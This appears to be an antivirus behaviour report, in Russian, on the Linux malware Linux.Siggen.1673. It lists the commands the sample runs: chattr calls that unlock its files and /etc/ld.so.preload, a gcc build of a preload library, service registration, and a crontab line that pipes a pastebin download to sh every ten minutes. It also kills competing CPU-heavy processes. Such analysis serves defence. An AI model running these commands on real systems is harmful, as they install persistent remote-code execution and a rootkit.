Linux.Siggen.1673

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Создает или модифицирует символические ссылки (симлинки):

Вредоносные функции:

Запускает себя в качестве демона

Компилирует программу из исходных кодов:

gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so

Управляет службами:

Запускает процессы:

<SAMPLE_FULL_PATH> [edac-poller]
<SAMPLE_FULL_PATH> [kpsmoused]
/bin/bash -c chattr -i /usr/lib/systemd/system/netdns.service
chattr -i /usr/lib/systemd/system/netdns.service
/bin/bash -c chkconfig --add netdns
/bin/bash -c systemctl enable netdns
/sbin/insserv netdns
/bin/bash -c chattr -i /usr/local/bin/kerberods
chattr -i /usr/local/bin/kerberods
/bin/bash -c chattr -i /usr/libexec/tmp/kerberods
chattr -i /usr/libexec/tmp/kerberods
/bin/bash -c chattr -i /usr/bin/kerberods
chattr -i /usr/bin/kerberods
/bin/bash -c chattr -i /tmp/kerberods
chattr -i /tmp/kerberods
/bin/bash -c chattr -i /etc/ld.so.preload
chattr -i /etc/ld.so.preload
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.so
chattr -i /usr/local/lib/libboost_timed.so
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.c
chattr -i /usr/local/lib/libboost_timed.c
/bin/bash -c gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
/bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/LD1QaXpQ||wget -q -O- https://pastebin.com/raw/LD1QaXpQ)|sh\" | crontab -
crontab -
/bin/bash -c chattr -i /tmp/migrationds
chattr -i /tmp/migrationds
/bin/bash -c ps aux|grep -v grep|grep -v 'migrationds'|awk '{if($3>=80.0) print $2}'|xargs kill -9
grep -v grep
ps aux
grep -v migrationds
xargs kill -9
awk {if($3>=80.0) print $2}
kill -9
/tmp/migrationds

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Устанавливает соединение:

DNS ASK:

Посылает данные следующим серверам:

Получает данные от следующих серверов:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти

Собирает информацию о сетевой активности